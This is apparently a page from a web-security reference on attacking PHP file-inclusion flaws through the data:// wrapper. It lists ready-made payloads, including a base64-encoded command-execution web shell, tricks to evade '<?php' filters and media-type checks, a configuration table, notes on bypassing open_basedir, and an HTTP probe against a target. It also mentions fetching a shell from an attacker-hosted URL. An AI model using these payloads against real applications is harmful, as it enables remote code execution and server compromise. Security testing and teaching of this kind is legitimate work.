Skip to content
highCVSS 8.1CWE-98A03:2021 – Injection

The data:// Wrapper

Carry the payload inside the URL itself. No outbound connection, no host to serve from — and gated by exactly the same flag as http://, despite never touching the network.

The payload is the URL

data:// embeds content directly in the URL. There is no fetch, no listener, no DNS lookup — the bytes are in the request you already sent.

That makes it strictly better than classic RFI in every environment where outbound traffic is filtered, which in 2026 is most of them. A container with no egress cannot fetch http://attacker.example/shell.txt. It does not need to fetch anything to process a data: URI.

The catch is that PHP gates data:// behind allow_url_include anyway. It never touches the network and the flag still applies, which surprises people every time. The flag is named for a category it does not accurately describe.

The payloads

Payloadparameter values
# Plain. Readable, but the <?php ... ?> will not survive a query string intact
# once ? & # and spaces get involved.
data://text/plain,<?php phpinfo();?>

# base64 — always use this form. Survives the query string, and slips past
# a filter matching on the literal string "<?php".
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

# The scheme is optional in some contexts; PHP accepts the bare form too.
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

# The media type is not validated against the content. image/png is fine
# and occasionally gets past a check on the declared type.
data://image/png;base64,PD9waHAgcGhwaW5mbygpOz8+

# Payload:  <?php system($_GET["cmd"]);?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=

What actually gates it

Callallow_url_fopenallow_url_includeResult
include('data://…')On (default)Off (default)Blocked
include('data://…')OnOnExecutes
file_get_contents('data://…')On (default)Off (default)Returns the content
file_get_contents('data://…')OffOffBlocked
Anything, with open_basedir setUnaffected — no filesystem is touched

open_basedir does not apply

Worth its own section because it is the one property that makes data:// interesting on a hardened host.

open_basedir confines path resolution. data:// resolves no path — the content is in the URL. So a host that has been carefully locked down to /var/www/html with open_basedir gains nothing against this wrapper.

The same is true of a self-synthesising filter chain, for the same reason. Both are worth remembering when you meet a target where every traversal returns an open_basedir restriction in effect warning: those warnings tell you the filesystem is confined, not that the include is safe.

What does stop data:// is allow_url_include=Off — which is the default, and which is why this is a guide about a technique you will mostly find turned off.

The read side is live by default

As with http://, the reading half needs only allow_url_fopen, which is On:

// Works on a stock PHP 8.
$content = file_get_contents($_GET['src']);   // ?src=data://text/plain,hello

On its own this is not much — you are feeding the application data you already had. It becomes interesting when the result goes somewhere: parsed as configuration, written to disk, passed to an image library, or handed to unserialize(). data:// is then a way to control the input to a second sink without needing to host anything.

This is the pattern worth watching for in file-upload and import features that accept a URL: data:// turns "fetch this URL" into "here are the exact bytes", which sidesteps every check that was performed on the URL rather than on the content.

Detecting support

HTTP
# A harmless probe. If the response contains the marker, data:// is reachable
# through this sink and allow_url_include is On.
GET /index.php?page=data://text/plain;base64,cmZpLXBhZ2UtbWFya2Vy HTTP/1.1
Host: target.example

# base64 decodes to: rfi-page-marker
#
# Errors and what they mean:
#   "URL file-access is disabled"        -> allow_url_include=Off (the default)
#   "no suitable wrapper could be found" -> allow_url_fopen=Off too
#   marker echoed but not executed       -> reading sink, not an include
#   nothing at all                       -> blind sink, or output not reflected